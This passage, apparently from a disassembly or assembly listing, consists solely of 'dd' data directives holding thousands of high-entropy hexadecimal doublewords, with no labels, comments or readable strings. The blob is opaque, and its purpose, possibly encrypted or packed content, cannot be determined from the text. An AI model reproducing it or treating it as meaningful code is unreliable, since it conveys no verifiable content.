0DF01243Ah, 0E5510E8h, 47F6D8B0h, 8EB4B604h, 0BE4D7AF0h dd 966E8BBBh, 680B2473h, 0AA3E43F4h, 0ACC3F1F0h, 0BCD91347h dd 0F130C43Dh, 6DFCA117h, 6A5A3458h, 0DFAD934Eh, 3F4B752h dd 5723072Fh, 0D2D631A6h, 0AAC67319h, 24D9539h, 8CC26A05h dd 7256428Bh, 0FA0139B6h, 0D5E39750h, 11100113h, 215F0995h dd 4B2879D1h, 5612C374h, 1C4C8DA3h, 17A07F84h, 0DD07DBBCh dd 4E31D3F7h, 8908EB4Dh, 55565018h, 0FCE70BB3h, 5848C6F5h dd 97F85A9Ch, 53AEE9F0h, 9DC3FBC1h, 22601E21h, 0BB864051h dd 0AB413301h, 37F38115h, 0F9FC0DA7h, 7C5F04EBh, 5E074D0h dd 2DD07AF7h, 0F8715B70h, 0B04052A7h, 3A170964h, 3D50A5Dh dd 4CA4206Eh, 48C4E86Fh, 0D2A55D05h, 75D481Ah, 0EE6BDC31h dd 4068703h, 73D6464Eh, 90F99885h, 0C7D7C0A6h, 3709F853h dd 0D241BEF6h, 16E45B32h, 5AEC4BE3h, 0BF42D36Ch, 0BDF2804Bh dd 292D49A8h, 0F30526Dh, 54CE6639h, 0C91A275Eh, 45E90C03h dd 0C7E9F35Ah, 0DCC44492h, 555F0774h, 0D55C7772h, 0B8AF6445h dd 2103DF20h, 8205C6Bh, 8F65B4Fh, 3409647Dh, 3CC4EAB5h dd 98AF9485h, 6812660Ah, 0A4B91B4Bh, 0DFA7B11Eh, 49F07D78h dd 0B38554C8h, 0A67C8047h, 97EBE9h, 39B2BFFFh, 252F7AA5h dd 12D29DEEh, 336A444Ch, 2D790633h, 5BD20912h, 0EB580A70h dd 3075308Eh, 7988AB2Ch, 97B57AC6h, 0FB2FEFEEh, 4CFB685Fh dd 0D0BE80CAh, 30163916h, 46AB93B0h, 2C317BAh, 66CD28FBh dd 0F6AF0F2Eh, 12972E08h, 93750B5Bh, 3E05A277h, 0CC24AAD9h dd 0A8CFE42h, 5DA73B85h, 10681001h, 4C967320h, 1A6925AAh dd 4A145CC9h, 24601058h, 750B5AB8h, 1908DE0Bh, 6056E029h dd 35B36446h, 93E01417h, 3A1A0051h, 0C5E78163h, 7704031Bh dd 5AD1E94Fh, 122F6FE4h, 847B795Fh, 8DC9BF82h, 209217A8h dd 5A9F90A0h, 0B2015F9Eh, 0B26A6354h, 60D78252h, 60F78097h dd 886226C6h, 342C5BF8h, 4B944CBAh, 3BD722FEh, 5C2F7B03h dd 0F78055FCh, 704D216Ah, 0F90EC04Fh, 0E943C55Ah, 7CC1D75Eh dd 0DB4732B6h, 75893192h, 2A5C8011h, 0F85E03EDh, 0D3884A9Bh dd 5BF404Dh, 0DA12450Fh, 0F0814978h, 7C5C9582h, 60997A7Ah dd 0E6815528h, 2D162E79h, 76584619h, 2E770614h, 0C016D6h dd 9309EBA5h, 0E925F229h, 0F7A0425Fh, 0DD3F9B30h, 425551BDh dd 5801E5F8h, 1E1A5F3h, 9BD1A24h, 0F586BE4Fh, 2125BC58h dd 2DAAF8FDh, 79ECB5D4h, 9B8500Bh, 0DE8C8907h, 60140869h dd 562F5924h, 89598233h, 2EC55E32h, 0A40A79A5h, 6030055h dd 0EF6818ADh, 0B38D0C4Fh, 0B734EDCh, 0BC9BE949h, 0B456B829h dd 0ADF6108Ah, 90973FA8h, 95CB2DBAh, 0A91A71ACh, 4AC82E39h dd 212CAABCh, 0A5C6AD5Eh, 6D35BF09h, 0CF0D002Fh, 16523E5Dh dd 43FFE910h, 0F8215C59h, 97D4B8C1h, 7E8D6CE7h, 93B50805h dd 7E2F432Ch, 86C36756h, 0CFA3104Fh, 73EA7ADEh, 814DDC2Fh dd 0E72E452Ch, 4A381B20h, 7B90A780h, 7F8FA955h, 29AEBEC4h dd 0CC372E1Eh, 7068F181h, 62487EEEh, 7F099D49h, 0A7BBB520h dd 0F8B7920Bh, 0E6B98CDh, 6697615Fh, 80F8EFA9h, 277A679Fh dd 7A08645Bh, 19D265Fh, 8A3F1EB9h, 0A6D2F06Fh, 2D6FEEBFh dd 62749F2Fh, 0EC6256Fh, 3DFCCDABh, 0A142E524h, 0A04DBFE9h dd 0EF81CFF4h, 0E30E12BEh, 5E3C147Dh, 0EC2AFE41h, 0C4E91284h dd 0DCBE1684h, 2874CF51h, 0E922BE06h, 9D9BACE2h, 0A2046E89h dd 835F03C8h, 13B9CDE8h, 802BB437h, 0E6F681DEh, 676E7D12h dd 897F8D01h, 0C56B26D1h, 106DEC83h, 5A2C81D4h, 0D7AF099Fh dd 19106C73h, 1291F784h, 681738EEh, 0A488D098h, 8081DA76h dd 2BE009D9h, 3B4997Ch, 38585BEFh, 5070E4EAh, 4CE5D58h dd 1B126A94h, 70501E80h, 0E91712DCh, 0E9DF5625h, 0E2688370h dd 456D1035h, 0F9502DD4h, 80F83040h, 165FA218h, 63A4CB46h dd 0C8CE0B1Dh, 5707AF1Ch, 0A4F3A9E7h, 23F76885h, 4FA34B98h dd 5A5B8CE6h, 824155B0h, 5240F04Dh, 5FD6116Bh, 2849F860h dd 5F4808C1h, 897F215Bh, 776C768h, 0AED0942Dh, 0CB34BCA0h dd 0EDDFD7CAh, 0E14A3D74h, 0B1B73A1Ah, 4B4C7412h, 2802DD0Dh dd 84F956D1h, 7F655893h, 965DF2C8h, 56506163h, 81A94258h dd 42C9885Ch, 25AA52D9h, 5AE458EFh, 66B81316h, 8C3AB4Ah dd 5B56031Ch, 0D6CFAE04h, 665F6CFAh, 1A2BD995h, 0BCC0C910h dd 748221A6h, 7DD02298h, 9D8B7902h, 0D53F37DBh, 15E1FAA0h dd 1457CA54h, 0EBFED367h, 0B9513071h, 0E92DCB0Ch, 0FD5B420Dh dd 0F5617842h, 6A1DEC31h, 50A7DF99h, 119CBF67h, 739C5A5Eh dd 0ED075A28h, 3F82A62Fh, 12A52D48h, 0B1A1A450h, 65BE0077h dd 5EEF7375h, 230D529h, 0B060F71Fh, 0E5C09660h, 2D805980h dd 7F74FEF2h, 0D95B0728h, 4AE152CCh, 2D3F8A84h, 60DCE6EFh dd 7A6D5C51h, 3B904D66h, 0D2C7BFAh, 0A81AF0Ch, 1EE9A68Ch dd 0BF02533Ch, 26B733AFh, 315E8360h, 7498D076h, 0CC0BC5B0h dd 293A2B62h, 62170B7Fh, 5498F60Bh, 556524B5h, 10E644C0h dd 81690166h, 0BC2AC4C7h, 0E964845Dh, 0D1F4AA0Ah, 80281202h dd 0DF9C5606h, 0F7B95E3Eh, 0A0FFA8D3h, 0B319E068h, 6FD20A61h dd 506340A1h, 81022C43h, 0F7306EDh, 10827D69h, 0A40E567Dh dd 0C0934AACh, 0EC8A03F3h, 5E11A46Bh, 3A0C83F1h, 28AA0424h dd 6801526Eh, 29E357C6h, 0B1DD515Ah, 900263D4h, 7D7827A7h dd 0DF8A7846h, 45F657Fh, 28CE9h, 0CFEE7CBFh, 4F3DF4D0h dd 0D1C0B8E1h, 3687E3Eh, 82A5A3E5h, 7DCD6890h, 53FB5289h dd 9725CADh, 0CDFBC783h, 0AE93E904h, 0EBC1ECD0h, 0D139807h dd 3A762B1Fh, 0F417D00Ch, 10F37D5Ch, 5575D9DEh, 167B9913h dd 9809055Dh, 6D12AA69h, 0CEB5AEEh, 0F7F7CA5Dh, 0B6FC8702h dd 3A5EB491h, 0F7C0DEB2h, 29E468F9h, 0B84B8BA4h, 0ECD5E1B3h dd 0D1526815h, 340E90Ah, 0B91A87Fh, 62766E01h, 44634400h dd 529F2C6Dh, 67E0F3E4h, 1475483Ch, 0DB64C305h, 7918FB27h dd 2DBB2B1Eh, 56C0A084h, 59F520E9h, 7C212AE6h, 0C037498Ch dd 9112547Ah, 63C3779Dh, 515C237Bh, 36D36E00h, 31B92CACh dd 255378C9h, 4B74E901h dd 0E125D259h, 0C1A2C13Fh, 65E147E5h, 8F048946h, 29E95208h dd 0F588EA73h, 98589124h, 3765E9D4h, 0A6E25A89h, 0C3CF3086h dd 482D893h, 0C1F82868h, 2CD8B15Fh, 0F9C8F09Ah, 5B59D0D3h dd 0B3482CE9h, 0AC7E4705h, 1D786708h, 58E5DDABh, 0F1E954DEh dd 97EB6E56h, 6B1272BBh, 4105F269h, 3F2F5AB9h, 72A617F0h dd 4DE9FE22h, 0BC4A5847h, 0EB20285h, 775161B7h, 0C3807A10h dd 0CA5D9978h, 0E42C149Ch, 0B2E9B380h, 0E1295106h, 625E5456h dd 4FA613AAh, 82B46AF8h, 8B0861E7h, 1FEEC008h, 0F5420953h dd 0E153847Ch, 1882486Eh, 0CCFE02B4h, 88036573h, 16D2F6E2h dd 0B3DD1C42h, 778F13C1h, 0C0E1EAA8h, 0FD412F82h, 0BF872684h dd 3132096Ah, 0C04C8B55h, 2C49ABF6h, 0CC2D4860h, 0B3EF634h dd 7BE4ADFh, 0E60E309Ch, 0AB746645h, 0F043602Dh, 0E9583A37h dd 853210CAh, 0B4C0E95Bh, 9CC408ACh, 92C245DEh, 11B4B80h dd 0BB6812F2h, 1431AB5Eh, 50026BD7h, 0D1A761h, 7F87DDF7h dd 0BFA4BCDh, 50780114h, 0BF7BB029h, 65B1630Ch, 5CF14F1h dd 0C102F8F3h, 418454D8h, 0AC759A42h, 4B6B5EA2h, 0D176AD67h dd 0F2810311h, 0F84CACF3h, 9F5AD621h, 606F7907h, 0B2AEE971h dd 7635B1BFh, 2D545301h, 0F99E1362h, 550021F2h, 0EA02A868h dd 0E3B05D4Ch, 7218C572h, 540C1BD8h, 0FDA60AE1h, 0A5F5D0E9h dd 9585B45Dh, 0CA207866h, 4B59987Fh, 0BFACD855h, 0CEC0083Dh dd 5A12E8h, 80C6FE2Bh, 0EEE6CEF6h, 0F030F513h, 6604C98Ah dd 0E56E6853h, 0C70069BFh, 9E6160B0h, 0FF2870E9h, 720CBA01h dd 82422F7Ah, 858DF7ACh, 0BD2570D0h, 28BD2D11h, 0C96E4751h dd 91317D5Ah, 0CD446A58h, 5901B07Ch, 3A7E2C5Ah, 353E0EB1h dd 0F412BF33h, 530000FBh, 0E38086B3h, 0C1EBCCFFh, 8923E916h dd 428E6DFAh, 890275EEh, 132067DFh, 84F3B908h, 0B4AA9AAEh dd 2BC045C6h, 80B6B450h, 0A4C14BC4h, 5A2FD3A5h, 0AF3EE558h dd 0F112A27Ch, 10D972AEh, 4D2C0772h, 4AC84C46h, 7ADA8063h dd 9CA831Fh, 6801D454h, 4ACF719Bh, 32200035h, 40D6419Eh dd 7365FC9Ah, 1D54495Ch, 244916CCh, 3A4C229h, 1E4F5908h dd 1303A20h, 0E9F8312Dh, 0C8002A33h, 0AB746EBDh, 343BF91Eh dd 7C18C29Fh, 694E8956h, 4A15FDE5h, 5E5A8F26h, 99118873h dd 799FD02Fh, 0B964E0Ah, 2E730932h, 39F78100h, 0A2EDDBE2h dd 2DEFF685h, 0C0CE2651h, 0C12159EAh, 9AE9127Ch, 5A2A9045h dd 0F8BF3620h, 9E5B0308h, 86A2E935h, 93DFD33Bh, 78BE87B4h dd 14B23FC5h, 945DED95h, 0AA34715Ah, 7F4DC1D1h, 76C03F36h dd 13739EF3h, 0FB310BA7h, 7EEB3F09h, 54D0A72Ah, 7EDBC920h dd 7DE5075Eh, 0CE708D7Ch, 2FFB7F0Dh, 4AC66AD5h, 0B3D84B6Ah dd 0E7CF5087h, 97C1F99Dh, 0A5A5990Fh, 72CF5C0Dh, 4F08B6F3h dd 0B5BD01BAh, 0E807ED2Fh, 0E883EED3h, 4C2A6C37h, 7F00B521h dd 4A554445h, 0A954BE9h, 0BA588FB7h, 8B783966h, 0E3165E48h dd 0C923EC45h, 3E38F7F3h, 0E58A7A0Eh, 499409A8h, 87BC5F71h dd 5F0D8768h, 0C9907E3Bh, 0F5FBE563h, 0E935F4FDh, 52448A2Dh dd 86B73836h, 6AADF93Dh, 2C5E6C42h, 9D7D327h, 66E699E7h dd 4B4A75F2h, 8092D0F3h, 5A36F0B0h, 477E3Fh, 0C732BAE7h dd 0BDD7875Bh, 5F52A101h, 22A47F5Ah, 7DB709CFh, 0F85B72AFh dd 0C6E3F700h, 9240E985h, 67544C42h, 228A2DE1h, 10C99E51h dd 0AC7646E1h, 44682805h, 0C5AFBD14h, 0FB0A9D44h, 1420818Ah dd 3FFFAC55h, 655AB6A0h, 0AA2D0E79h, 0B717B695h, 0FE2552AAh dd 0EB2C0D1Dh, 0E8C5A9Dh, 4C9A367h, 403D5DE1h, 0B1BA851h dd 7A31D5F7h, 618A4821h, 9B4E0BDEh, 56DB24A2h, 6453AD80h dd 0DFF231E5h, 827574C1h, 76304AD0h, 3D7F3C33h, 0E91501BBh dd 0E35A9AFFh, 82ED8466h, 77055709h, 3EAEE775h, 0D47F1551h dd 221108Dh, 7443267Ah, 81851F1h, 0B8435E5Ch, 0FD20A9DBh dd 0E948B7EBh, 0CE520AE9h, 3D38048Fh, 0ECC06AA9h, 4C9C7CD4h dd 0FD30801Ah, 3AC4CE23h, 0C42F1928h, 0B6DFF220h, 7E620869h dd 0CC015F13h, 13D01660h, 25FDED2Ah, 0E1ECF950h, 7E81DFE9h dd 58529321h, 73F1C5D5h, 8DAFBACh, 0B702833Bh, 80DFF670h dd 12C78002h, 2ED29F20h, 996E658h, 57CAFE58h, 0E9053945h dd 0FFC8E3FDh, 8C514B1Bh, 0B4413DA7h, 0F058B076h, 0A51C882Eh dd 0F4F6BF16h, 9B87082h, 3E383F49h, 0C8F7A642h, 4DE905D1h dd 9576F855h, 0C0C930D9h, 80FC3AF5h, 1E5AED81h, 0E05BBEFCh dd 282E6B6h, 986425BEh, 0E815B899h, 407803E8h, 0C8C5DC2Dh dd 171CBACDh, 531AE945h, 0B897CBB2h, 6819040Dh, 6EC27F63h dd 974E51D5h, 0B68D5705h, 0F8E9849Ah, 0EEE6D2B4h, 0B75F4BB0h dd 3B405F1Eh, 101542CEh, 0CE4E624Dh, 0BB007617h, 2D3E0DB8h dd 0C2FA2D3Fh, 0CB5A32FEh, 0E5F1AB91h, 0FC20DA8h, 2EB62DB4h dd 184ED286h, 5C07A590h, 5007EFC0h, 0A05A44C7h, 402FA640h dd 0D15E4E63h, 2350A06Ch, 0AABD4AB8h, 670229E2h, 51B800E3h dd 5F4A4508h, 0C85064C3h, 13F8E7BEh, 84EFE9C4h, 6FE3AEACh dd 15896A4Ch, 5B9D5DF8h, 0A768C128h, 16833366h, 10F1C5E9h dd 9368B22Eh, 7BA35831h, 0E7C5862Ch, 0BE28E4D3h, 0D6A4C85Ah dd 30A641F3h, 0E22428A2h, 51195D33h, 0BFC8572Dh, 0F913488Bh dd 0C481DD20h, 8B010441h, 1A4D78E2h, 4428BC2Eh, 0D09841BFh dd 8AE7985Eh, 1CC89F68h, 5F76AD64h, 12CCDF5Ah, 0D05B5427h dd 0BAE03ABh, 0AABD36CDh, 0D3310B27h, 0B95100AAh, 77684791h dd 8F0B5C98h, 17FDD54h, 67301FA0h, 47E6276Ah, 4E1382A1h dd 0FC2007F0h, 4B8A97C4h, 0B95B1717h, 8FAAD24Ch, 68590E4Bh dd 98B373CFh, 3FB8E710h, 4E401358h, 0A5C1B5ECh, 2153C85Ah dd 611BDC5Dh, 834F6300h, 0D7F701EFh, 5B92C952h, 0D157491Ah dd 0BC515A65h, 76B50B49h, 0C9C3E230h, 40668409h, 0A055430Bh dd 5899CB35h, 8B705C77h, 89E04E74h, 0D8E02E3Bh, 0C923EA41h dd 0D50612h, 0A8EA4D6Ch, 2FE912D6h, 4CA535Eh, 0AA7B5256h dd 81E1228Dh, 2722A32Fh, 0F39A624Eh, 30E2A589h, 54F6741h dd 5A10CAB8h, 70CA4A51h, 2FF6168h, 6E68463Ah, 0E67BF980h dd 5279639Eh, 0FF1ACC1Fh, 0A038C5EDh, 4F8501A4h, 71E968F6h dd 5EBA726Eh, 0BC5BD8A4h, 90D2C4F4h, 2830B3A5h, 0C84FDE79h dd 29B97780h, 646E2772h, 5E0ECB52h, 0C037EB46h, 28558FE1h dd 0F0CC031h, 41513326h, 40B6AC1h, 0F5D71120h, 5FE86A0h dd 0DCB050C5h, 728DC266h, 8741505Eh, 0AE60D008h, 0EBADC0DBh dd 15F73E80h, 27E09EDDh, 50FC5C29h, 5E26CA6Bh, 3928AFCBh dd 2AE60208h, 7F124D3Bh, 0B1B19FEAh, 3FF92158h, 0C901B4F4h dd 2C905C86h, 1B4B9A68h, 0A58FF8ECh, 0BA550FE4h, 0BFE4A68Dh dd 15D39D6Bh, 0C8D3AFBDh, 18D7C1B4h, 0D8F17D84h, 0C02504A4h dd 13A4A52h, 0EFB6E908h, 6EF33Ah, 0D1389F68h, 6FBE5F10h dd 0F5650DA0h, 96CAED29h, 0C15960BFh, 0D62F32BFh, 0A05BDC42h dd 60DDEA08h, 83E7977Ch, 1E90B82Ch, 0A8AAF705h, 0C5ABBD94h dd 1E06FECCh, 4C91AF8Eh, 0F210ACC2h, 0DC465FCFh, 44D3E98h dd 0B73B3AC6h, 840AFF03h, 0DE2D08EEh, 7DAA74C7h, 2FC51EFDh dd 3DD9E1F6h, 0F6AFCE0Bh, 36D4CBACh, 0B870A910h, 0BBCA32D4h dd 1577E0BFh, 1334108Ah, 0E1BD4B7Eh, 742DFE97h, 0C0931960h dd 3662EBFBh, 0C3FC7D3Fh, 719699FAh, 0D42CD12Ch, 244A7BBEh dd 129D31Ch, 32848055h dd 13030609h, 46B808C3h, 0E77C108h, 0BAB71088h, 850250Ch dd 69EB407Ch, 23208063h, 61081B05h, 66EB187Fh, 83A50810h dd 10E33110h, 0C818B193h, 896D300Ch, 8081F880h, 18C456FDh dd 9F04608Dh, 98F2049Bh, 44A2704h, 51067104h, 9A2008A6h dd 1F9B3169h, 8C155828h, 18CA5A08h, 8926307h, 183E7F34h dd 62B4C053h, 7CCD1054h, 18A71C03h, 1843AE08h, 1E80BC90h dd 0B10C45Eh, 9CE0068Fh, 55592008h, 2072A031h, 8BB87E7h dd 8618DAB1h, 0B7410126h, 332D108Ch, 7C806D49h, 0C510C690h dd 1B540894h, 6340AC90h, 0A4D1C692h, 0DE2018BBh, 458D2035h dd 83FF531h, 2088D75Eh, 910858CCh, 94BA0C6Eh, 0F6669E18h dd 90089359h, 9508C645h, 71202864h, 0FB672096h, 338C2320h dd 73D139F5h, 980E082Ah, 828B431h, 0D4017710h, 3830886Fh dd 84841560h, 85D5218h, 20C67AEFh, 3108986Bh, 2218767Fh dd 4890026Ch, 80FD3308h, 0A880749Fh, 8708C4B6h, 0BD090449h dd 6DD3004h, 404967B4h, 80633CB0h, 319F4208h, 0FE0843E1h dd 2AFC037Eh, 0E494E321h, 0A319C8D4h, 150F2608h, 4073C446h dd 0D9C68A81h, 3118E956h, 308B9AAh, 0F2910197h, 14F1B01h dd 3088254Ch, 6D0C58B6h, 40FF109Bh, 23404B5Ah, 0C59C4D3h dd 4EAB06BFh, 71A72010h, 0A2901754h, 0A97B8B40h, 618D98D8h dd 2108248Eh, 142898C1h, 0CC508FE9h, 59293B18h, 49186365h dd 0B4E2D446h, 0A97A9808h, 6901F3D4h, 228B0162h, 0C42B2C24h dd 0F7B3208h, 7C1070B3h, 0C2E91883h, 80596130h, 10C65DA3h dd 3308A073h, 34181E41h, 0CBEC2110h, 103A9318h, 180C016h dd 794B808Fh, 23D808C9h, 0A44F4EC4h, 0FC4CF411h, 49C9F440h dd 202ADC49h, 86263E4h, 2010B23Dh, 52A1028h, 5BA6208Ch dd 20176820h, 5AF85DD4h, 0CCEA08DEh, 323C7C20h, 0CD10AD6Fh dd 6EFA104Bh, 0B4923704h, 60C84872h, 0E8FC269Ch, 82D549A4h dd 0A74098CCh, 468EC7A3h, 103DB0h, 752C473Bh, 8913EB02h dd 0A7B90EC6h, 5F43Dh, 408F4401h, 75C90B49h, 748BF712h dd 3DE2BC0h, 8E71BFF0h, 1C0330Fh, 304FB10Fh, 53AC2C80h dd 0B55109B7h, 0F580660Bh, 0CBBFDBDh, 8277098Ah, 0FD2B7D2Dh dd 0ABB06144h, 0D6975270h, 30207309h, 352C0397h, 0E834D0F6h dd 25663620h, 0F5CCB29h, 0BD70C5C0h, 0A8015A13h, 0F759B2B1h dd 0C899CBE6h, 70D4E961h, 0CBC7A19Dh, 1657BEAEh, 0BB5321A5h dd 0ECE5E904h, 0F2A2AFA8h, 0B65CCCDFh, 31D35821h, 895BADA0h dd 0C1F1CE5Ah, 5FD13E97h, 47D20154h, 0FCCB21E0h, 0C2E164A9h dd 68F8B47Ch, 0CC365BC0h, 6E1793C8h, 8A022E54h, 0E0B14EE6h dd 76BDF6B8h, 0DC226079h, 0EED99F4h, 8E49889Fh, 3841E984h dd 70685F01h, 43F3881Bh, 895D0A1Fh, 6F581DEBh, 5272E6D6h dd 8C681792h, 2E13892Eh, 5049DCDCh, 77B88528h, 0CF173D15h dd 32E41218h, 78F5835Bh, 320E05F3h, 0C5AAB396h, 7A7C00B7h dd 115F91Bh, 784534C4h, 1A42A817h, 710EEE76h, 0A346B091h dd 6A2E2641h, 783505E9h, 265780E8h, 15C29073h, 0E6F3314Dh dd 28265DEh, 0CEFF1C8Bh, 0E113B67Eh, 3B1FFE68h, 0B850A160h dd 22631207h, 8141BB1Bh, 0E4DD9CF3h, 10DFE770h, 414B9E5Dh dd 580801F1h, 7D132052h, 9D2E5681h, 0ABA8F86Ch, 0FAF50180h dd 7A0E01C5h, 955E35C7h, 0E957C840h, 249AD731h, 0F898DBF7h dd 4B3E7403h, 31FDD607h, 62EE5BD9h, 0A8392368h, 250BFC5Dh dd 0E2C2FC01h, 5C00956Bh, 0F208EAC0h, 55ED406Ch, 769E6803h dd 5D02B4h, 1D14E2F6h, 58C52135h, 0F8BF5702h, 0FF06F360h dd 0F901074Ch, 0E959CF87h, 4B6D76E7h, 60E56412h, 162E776Ch dd 39B05C7Dh, 590D0150h, 0F93D5E77h, 71E24E88h, 1FDA2C4h dd 3C8BFB89h, 0D6C4E36Ah, 68C03CBEh, 451E542Ah, 85BA520Eh dd 36740F86h, 0CC104BFh, 1B509AFh, 5966E849h, 94208231h dd 0ED80101Fh, 11977BA7h, 0FF9D0F45h, 5F7BD2EEh, 40A4765h dd 28E72215h, 22048257h, 0E7B077E4h, 4A5F7168h, 51BD528Ch dd 0C9F4891Dh, 0F3B975Fh, 70671638h, 0AE3349Dh, 46B4E951h dd 0EDE381F9h, 206AC369h, 0BE02E617h, 3BE9FDC6h, 2F78F3C9h dd 0A44005D1h, 8240A85Ah, 9576BC0Bh, 73605678h, 2F39CD7h dd 5E57ECC1h, 45C9F440h, 0DA183131h, 36811359h, 826A8C2Dh dd 0C8A1482Bh, 5AAE2067h, 0AA48EEE1h, 585822Fh, 0BBC6078Bh dd 0E0B3FA0h, 0B971DA00h, 2A6A18D6h, 5FF93031h, 8E2F7B7Eh dd 688E5961h, 303B15ADh, 0BA35F0E3h, 2E91F5Bh, 2856A901h dd 42EB29B2h, 4E0A37BFh, 512203Dh, 2B2A52BFh, 80D08026h dd 30F17E75h, 9F06D162h, 0FA2950A9h, 0D5EA027Ch, 0E934F66Bh dd 3075C689h, 9A2845F9h, 0B72C3C8Ch, 0E8B9BA12h, 0BB099EBEh dd 32992E6Eh, 0E6465FAh, 267883BAh, 0EDAB2156h, 0D54511D8h dd 1A592D40h, 0C81D1373h, 80A3E42h, 1E035B83h, 6E315418h dd 803EB629h, 24E95508h, 0C349B16Fh, 103F276Ah, 0AD543980h dd 18260F1h, 4CB03D50h, 43940792h, 7405F881h, 214AA8C1h dd 30147E86h, 66A25BE6h, 0CB77A6D2h, 0F4D7015Fh, 2D20E55Eh dd 0DDA8C1DBh, 4358B91Ch, 0FAC4C1DFh, 3F04601h, 22AF5777h dd 0AEB25658h, 622D3AE2h, 827B7A58h, 3605FF08h, 49A41D56h dd 3BF6FB77h, 2CFBA50h, 0E928886Ah, 22DDA07Ch, 0A06407C6h dd 121C6861h, 72666BBFh, 223A3E01h, 72408002h, 1C6A203h dd 400890D7h, 0F95C883Fh, 54439265h, 8242C180h, 628957D9h dd 0C8BA04F7h, 6718210h, 184F6FAh, 4A31BAD9h, 0FD281C91h dd 0FBC580E0h, 1E39CDCCh, 42C2B252h, 0EAE9A7F2h, 0D62551FCh dd 0E9E9F934h, 0CAF37ECCh, 58BFAE1h, 0B1152F82h, 0B62A0188h dd 3DF94FE3h, 0A48408F5h, 0FE5B6602h, 89F15DCDh, 0F5805983h dd 54DDCA16h, 92784938h, 0C5300D17h, 0EB2FACBCh, 1550C64h dd 3E3C9Fh, 0D102EAC1h, 1CA81E2h, 1E9129DAh, 93A153E9h dd 501E627h, 7D073526h, 9FFDDBF4h, 5668F590h, 12412C59h dd 864FD411h, 0D00BDCEAh, 0E503D55Ah, 0FC4B2255h, 870739F2h dd 0EE5F635Bh, 0AD766DA9h, 0A913AEBBh, 5AF02881h, 0BCE8535Bh dd 13B2ACDCh, 0A87BAB68h, 8337D310h, 0A3A82D85h, 9064A9Fh dd 7B47C0C1h, 0C89511F6h, 99DA792Dh, 9640A724h, 62C297Bh dd 2009CF73h, 5E95DF8Fh, 1C026805h, 4E184AF3h, 832C10CDh dd 4D0281Dh, 0CC09A12Ch, 0A21AD775h, 0FD87EFA0h, 3174D7F7h dd 0E93CEFE4h, 8434CDF9h, 0E8127C1Dh, 52E314A6h, 0D3DF50A8h dd 0C04D60FEh, 2D1B580Ch, 0FC4EE8F1h, 3D301F33h, 8822029h dd 0F1017C47h, 0EDA05B5h, 0F6DDD842h, 17A4607Dh, 0E6FA0980h dd 1470A59h, 6D66856h, 0D9747EF4h, 18593731h, 57FF5626h dd 0C015EB1Eh, 0F329AD45h, 497A91F3h, 825B1DA7h, 0C4A7B52Dh dd 0B205D2C2h, 19F3A27Fh, 9A75951h, 2F5ADE01h, 333ED028h dd 0B5B009E4h, 6835C294h, 4C979FAEh, 2B3281D0h, 0B6914BD9h dd 27EF02F8h, 0DD1C74DDh, 280BCDA2h, 2D2D394Ch, 10DC648h dd 3353126Ch, 0E0EDD15Dh, 0EBBB398Dh, 796B0202h, 757E78h dd 0EAB18CF6h, 0F52521A7h, 6710575Eh, 0AEB22EE9h, 0EB0F6090h dd 69F328C8h, 58092315h, 8D06D589h, 902838EDh, 142309A8h dd 0E3011A72h, 0F7CF05D9h, 273D0C05h, 0DEC24466h, 90D10537h dd 0A4653A82h, 127958h, 2F732DD7h, 0BDB0A2E9h, 80AB20C7h dd 2B86E940h, 70A79901h dd 2AD64EFDh, 80C68EE8h, 52BD1453h, 0C2CD5EA2h, 6FD42C1h dd 4098555Eh, 0C802FEB2h, 408E8C0h, 92E60A9h, 3C3B9A9Fh dd 0B81313F2h, 0ECCF29F6h, 17C0E82Dh, 0D17AA1CFh, 36F4A041h dd 0AFBE0226h, 295FFE89h, 0D1C789h, 7A2F4460h, 0B100977Dh dd 946D5F05h, 6CE9771Ch, 272572E9h, 0F54B8B89h, 3EA89717h dd 20306A41h, 2B91602Fh, 8C28BACAh, 0F2020C76h, 0EFCCFEBBh dd 0C0367C01h, 90BBE56h, 0C1394704h, 0B1C505EEh, 82E94AD3h dd 968000Fh, 58E45303h, 2C24DF90h, 29C0F372h, 2603367h dd 625BAE05h, 0D7484Ch, 430117B9h, 3250E07h, 9F3E6132h dd 3CCE05F9h, 402DF989h, 9349AAE6h, 0A6680953h, 0C28B763Eh dd 0F5802F92h, 51D604ACh, 61E3B52Ch, 0B32CC105h, 0B931DAFh dd 7490EEE9h, 475B5968h, 0BA36BACCh, 0A4314EF2h, 0E741FBCEh dd 1CD6722Eh, 669A6F02h, 0BA5B0720h, 2078543Ch, 5366EA81h dd 294FAB0Ah, 8209BFAh, 0A7980178h, 0C2838E75h, 81B971EBh dd 0E268C329h, 0DBA14D53h, 8451BBC8h, 263A4464h, 3C62CF97h dd 0A33B7FA4h, 174CFD9h, 3D6CEAC0h, 28D8B50Eh, 12E089FFh dd 0F3F61714h, 6F013E2Ch, 97685140h, 970B323h, 53664BECh dd 8B483B2Eh, 973CBF01h, 7B20C89Ah, 0CB620E47h, 10D2017Dh dd 0B84B0894h, 1307A6C7h, 32473B68h, 48505768h, 0AA62D609h dd 0EE9A0521h, 0C0E00712h, 0EDD15F78h, 0E5F8969Ch, 5C601C13h dd 0B1C430EEh, 0A83168B6h, 0D664E57Fh, 0EC200B65h, 553A2E6Bh dd 9DA20849h, 2B3A4925h, 6D304F21h, 0F153530Eh, 6809FE49h dd 0C3DC3A35h, 5F088EE2h, 9168BFB8h, 0DABC234Bh, 0CBCBEEA4h dd 0CC77E915h, 0F7F1BC5Ah, 378EC265h, 0A029E90Bh, 5C8D7C54h dd 0F53F0C4Ch, 0E4E07B89h, 7A6C2E70h, 0AC1A1379h, 0F75C2C31h dd 2EB6150Dh, 87B8C87Bh, 133AA241h, 68F18CE3h, 736F2837h dd 8DAECFC4h, 2933618Ch, 201C20BBh, 302CE6DDh, 9E1A11D5h dd 5945FC0Eh, 6C627E59h, 8FA784D1h, 0C04AD8AFh, 0D8214960h dd 0F036912Dh, 0F85B5A47h, 9FB8B4B9h, 22766809h, 70858679h dd 2DAB0148h, 288282DCh, 0F53A7A45h, 5D6B2183h, 1A3F3D49h dd 2115CCDh, 201FBAF7h, 678048C2h, 27EADD4Ah, 3B358A38h dd 2C2A10EFh, 785F0234h, 0C15D44C1h, 0C547EA46h, 84E415h dd 5BF84282h, 5793BD8Bh, 68EB6005h, 1CB60EC3h, 12B35D6Bh dd 9BDAAED4h, 0CA738F25h, 680439ABh, 8BD877B8h, 53024032h dd 1E1ABB00h, 0DA293A58h, 96A4A55Bh, 0D19004Ah, 2148097Eh dd 46E9F20Ah, 0C14228E7h, 341A7D39h, 2FAFEC7Fh, 0DEEFF46Ch dd 57254927h, 